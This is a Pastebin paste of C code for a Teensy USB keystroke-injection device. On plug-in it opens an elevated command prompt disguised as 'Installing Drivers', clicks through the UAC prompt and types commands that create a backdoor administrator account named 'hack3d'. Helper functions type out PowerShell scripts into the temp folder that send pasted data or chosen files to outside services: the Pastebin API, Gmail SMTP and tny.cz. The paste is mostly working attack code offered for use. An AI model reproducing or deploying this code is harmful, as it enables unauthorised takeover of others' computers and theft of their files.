MaLittlePwny

Untitled

Oct 23rd, 2013
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 8.15 KB | None | 0 0
  1. #define TEENSY3
  2. #ifdef TEENSY2
  3.     #include<usb_private.h>
  4. #endif
  5.  
  6. # define U_ADD "net user hack3d 1234 /add"
  7. # define G_ADD "net localgroup Administrators hack3d /add"
  8.  
  9. void setup() {
  10.  delay(3000);
  11.   wait_for_drivers(2000);
  12.  
  13.   minimise_windows();
  14.   delay(500);
  15.   while(!cmd_admin(3,500))
  16.   {
  17.   reset_windows_desktop(2000);
  18.   }
  19.     Keyboard.println(U_ADD);
  20.     delay(2000);
  21.     Keyboard.println(G_ADD);
  22.     delay(1000);
  23.     Keyboard.println("exit");
  24. }
  25.  
  26. void loop() {
  27.  
  28. }
  29.  
  30. void wait_for_drivers(int sleep)
  31. {
  32. bool CapsLockTrap = is_caps_on();
  33. while(CapsLockTrap == is_caps_on())
  34. {
  35. Keyboard.set_key1(KEY_CAPS_LOCK);
  36. Keyboard.send_now();
  37. delay(200);
  38. Keyboard.set_modifier(0);
  39. Keyboard.set_key1(0);
  40. Keyboard.send_now();
  41. delay(500);
  42. delay(sleep);
  43. }
  44. Keyboard.set_key1(KEY_CAPS_LOCK);
  45. Keyboard.send_now();
  46. delay(200);
  47. Keyboard.set_modifier(0);
  48. Keyboard.set_key1(0);
  49. Keyboard.send_now();
  50. delay(500);
  51. delay(sleep);
  52. }
  53.  
  54. int ledkeys(void) {return int(keyboard_leds);}
  55.  
  56. bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}
  57.  
  58. bool cmd_admin(int reps, int millisecs)
  59. {
  60. make_sure_capslock_is_off();
  61. delay(700);
  62. Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
  63. Keyboard.send_now();
  64. Keyboard.set_modifier(0);
  65. Keyboard.send_now();
  66. delay(3000);
  67. Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"");
  68. delay(2000);
  69. Keyboard.set_modifier(MODIFIERKEY_CTRL);
  70. Keyboard.send_now();
  71. Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
  72. Keyboard.send_now();
  73. Keyboard.set_key1(KEY_ENTER);
  74. Keyboard.send_now();
  75. delay(200);
  76. Keyboard.set_modifier(0);
  77. Keyboard.set_key1(0);
  78. Keyboard.send_now();
  79. delay(500);
  80. delay(7000);
  81. send_left_enter();
  82. delay(4000);
  83. create_click_capslock_win();
  84. check_for_capslock_success_teensy(reps,millisecs);
  85. }
  86.  
  87. bool cmd(int reps, int millisecs, char *SomeCommand)
  88. {
  89. make_sure_capslock_is_off();
  90. delay(700);
  91. Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
  92. Keyboard.set_key1(KEY_R);
  93. Keyboard.send_now();
  94.  
  95. delay(500);
  96. Keyboard.set_modifier(0);
  97. Keyboard.set_key1(0);
  98. Keyboard.send_now();
  99.  
  100. Keyboard.print(SomeCommand);
  101. Keyboard.set_key1(KEY_ENTER);
  102. Keyboard.send_now();
  103.  
  104. Keyboard.set_key1(0);
  105. Keyboard.send_now();
  106.  
  107. delay(3000);
  108. create_click_capslock_win();
  109. check_for_capslock_success_teensy(reps,millisecs);
  110. }
  111.  
  112. void make_sure_capslock_is_off(void)
  113. {
  114. if (is_caps_on())
  115. {
  116. delay(500);
  117. Keyboard.set_key1(KEY_CAPS_LOCK);
  118. Keyboard.send_now();
  119. delay(200);
  120. delay(700);
  121. Keyboard.set_modifier(0);
  122. Keyboard.set_key1(0);
  123. Keyboard.send_now();
  124. delay(500);
  125. delay(700);
  126. }
  127. }
  128.  
  129. void create_click_capslock_win()
  130. {
  131. Keyboard.println("echo Set WshShell = WScript.CreateObject(\"WScript.Shell\"): WshShell.SendKeys \"{CAPSLOCK}\" > %temp%\\capslock.vbs");
  132. delay(400);
  133. Keyboard.println("wscript %temp%\\capslock.vbs");
  134. delay(2000);
  135. }
  136.  
  137. bool check_for_capslock_success_teensy(int reps, int millisecs)
  138. {
  139. unsigned int i = 0;
  140. do
  141. {
  142. delay(millisecs);
  143. if (is_caps_on())
  144. {
  145. make_sure_capslock_is_off();
  146. delay(700);
  147. return true;
  148. }
  149. i++;
  150. }
  151. while (!is_caps_on() && (i<reps));
  152. return false;
  153. }
  154.  
  155. void minimise_windows(void)
  156. {
  157. Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
  158. Keyboard.set_key1(KEY_M);
  159. Keyboard.send_now();
  160. delay(300);
  161. Keyboard.set_modifier(0);
  162. Keyboard.set_key1(0);
  163. Keyboard.send_now();
  164. delay(500);
  165. delay(300);
  166. }
  167.  
  168. void reset_windows_desktop(int sleep)
  169. {
  170. delay(1000);
  171. minimise_windows();
  172. delay(sleep);
  173. minimise_windows();
  174. delay(sleep);
  175. minimise_windows();
  176. delay(200);
  177. }
  178.  
  179. void send_left_enter(){
  180.   delay(1000);
  181.   Keyboard.set_key1(KEY_LEFT);
  182.   Keyboard.send_now();
  183.   delay(100);
  184.   Keyboard.set_key1(0);
  185.   Keyboard.send_now();
  186.  
  187.   Keyboard.set_key1(KEY_ENTER);
  188.   Keyboard.send_now();
  189.   delay(100);
  190.   Keyboard.set_key1(0);
  191.   Keyboard.send_now();
  192.   }
  193.  
  194. void post(String filename)
  195. {
  196.     Keyboard.print("echo function pht($url,$pars) { >> %temp%\\");
  197.     Keyboard.print(filename);
  198.     Keyboard.println(".ps1");
  199.     Keyboard.print("echo $ht = New-Object -ComObject Msxml2.XMLHTTP >> %temp%\\");
  200.     Keyboard.print(filename);
  201.     Keyboard.println(".ps1");
  202.     Keyboard.print("echo $ht.open(\"POST\", $url, $false) >> %temp%\\");
  203.     Keyboard.print(filename);
  204.     Keyboard.println(".ps1");
  205.     Keyboard.print("echo $ht.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\") >> %temp%\\");
  206.     Keyboard.print(filename);
  207.     Keyboard.println(".ps1");
  208.     Keyboard.print("echo $ht.setRequestHeader(\"Content-length\", $pars.length); >> %temp%\\");
  209.     Keyboard.print(filename);
  210.     Keyboard.println(".ps1");
  211.     Keyboard.print("echo $ht.setRequestHeader(\"Connection\", \"close\") >> %temp%\\");
  212.     Keyboard.print(filename);
  213.     Keyboard.println(".ps1");
  214.     Keyboard.print("echo $ht.send($pars) >> %temp%\\");
  215.     Keyboard.print(filename);
  216.     Keyboard.println(".ps1");
  217.     Keyboard.print("echo $script:sk=$ht.responseText }>> %temp%\\");
  218.     Keyboard.print(filename);
  219.     Keyboard.println(".ps1");
  220. }
  221.  
  222. void pastebin(String filename)
  223. {
  224.     post(filename);
  225.     Keyboard.print("echo pht \"https://pastebin.com/api/api_login.php\" \"api_dev_key=$dev&api_user_name=$user&api_user_password=$pass\" >> %temp%\\");
  226.     Keyboard.print(filename);
  227.     Keyboard.println(".ps1");
  228.     Keyboard.print("echo pht \"https://pastebin.com/api/api_post.php\" \"api_user_key=$sk&api_option=paste&api_dev_key=$dev&api_paste_name=$pn&api_paste_code=$pv&api_paste_private=2\" >> %temp%\\");
  229.     Keyboard.print(filename);
  230.     Keyboard.println(".ps1");
  231. }
  232.  
  233. void gmail(String filename, String filepath)
  234. {
  235.     post(filename);
  236.     Keyboard.print("echo $srv = \"smtp.gmail.com\" >> %temp%\\");
  237.     Keyboard.print(filename);
  238.     Keyboard.println(".ps1");
  239.     Keyboard.print("echo $msg = new-object Net.Mail.MailMessage >> %temp%\\");
  240.     Keyboard.print(filename);
  241.     Keyboard.println(".ps1");
  242.     Keyboard.print("echo $st = new-object Net.Mail.SmtpClient($srv) >> %temp%\\");
  243.     Keyboard.print(filename);
  244.     Keyboard.println(".ps1");
  245.     Keyboard.print("echo $st.EnableSsl = $True >> %temp%\\");
  246.     Keyboard.print(filename);
  247.     Keyboard.println(".ps1");
  248.     Keyboard.print("echo $st.Credentials = New-Object System.Net.NetworkCredential(\"$user\", \"$pass\"); >> %temp%\\");
  249.     Keyboard.print(filename);
  250.     Keyboard.println(".ps1");
  251.     Keyboard.print("echo $msg.From = \"[email protected]\" >> %temp%\\");
  252.     Keyboard.print(filename);
  253.     Keyboard.println(".ps1");
  254.     Keyboard.print("echo $msg.To.Add(\"[email protected]\") >> %temp%\\");
  255.     Keyboard.print(filename);
  256.     Keyboard.println(".ps1");
  257.     Keyboard.print("echo $msg.Subject = $pn >> %temp%\\");
  258.     Keyboard.print(filename);
  259.     Keyboard.println(".ps1");
  260.     Keyboard.print("echo $msg.Body = $pv >> %temp%\\");
  261.     Keyboard.print(filename);
  262.     Keyboard.println(".ps1");
  263.     if (filepath != "no"){
  264.    
  265.         Keyboard.print("echo $att = new-object Net.Mail.Attachment(\"");
  266.         Keyboard.print (filepath);
  267.         Keyboard.print ("\") >> %temp%\\");
  268.         Keyboard.print(filename);
  269.         Keyboard.println(".ps1");
  270.         Keyboard.print("echo $msg.Attachments.Add($att) >> %temp%\\");
  271.         Keyboard.print(filename);
  272.         Keyboard.println(".ps1");
  273.     }
  274.     Keyboard.print("echo $st.Send($msg) >> %temp%\\");
  275.     Keyboard.print(filename);
  276.     Keyboard.println(".ps1");
  277. }
  278.  
  279. void tinypaste(String filename)
  280. {
  281.     post(filename);
  282.     //http://stackoverflow.com/questions/10521061/how-to-get-a-md5-checksum-in-powershell
  283.     Keyboard.print("echo $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider >> %temp%\\");
  284.     Keyboard.print(filename);
  285.     Keyboard.println(".ps1");
  286.     Keyboard.print("echo $utf8 = new-object -TypeName System.Text.UTF8Encoding >> %temp%\\");
  287.     Keyboard.print(filename);
  288.     Keyboard.println(".ps1");
  289.     Keyboard.print("echo $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($pass))).Replace(\"-\", \"\").ToLower() >> %temp%\\");
  290.     Keyboard.print(filename);
  291.     Keyboard.println(".ps1");
  292.     Keyboard.print("echo pht \"http://tny.cz/api/create.xml\" \"paste=$pv&title=$pn&is_code=0&is_private=1&authenticate=$user`:$hash\" >> %temp%\\");
  293.     Keyboard.print(filename);
  294.     Keyboard.println(".ps1");
  295.  
  296. }
Advertisement
Add Comment
Please, Sign In to add comment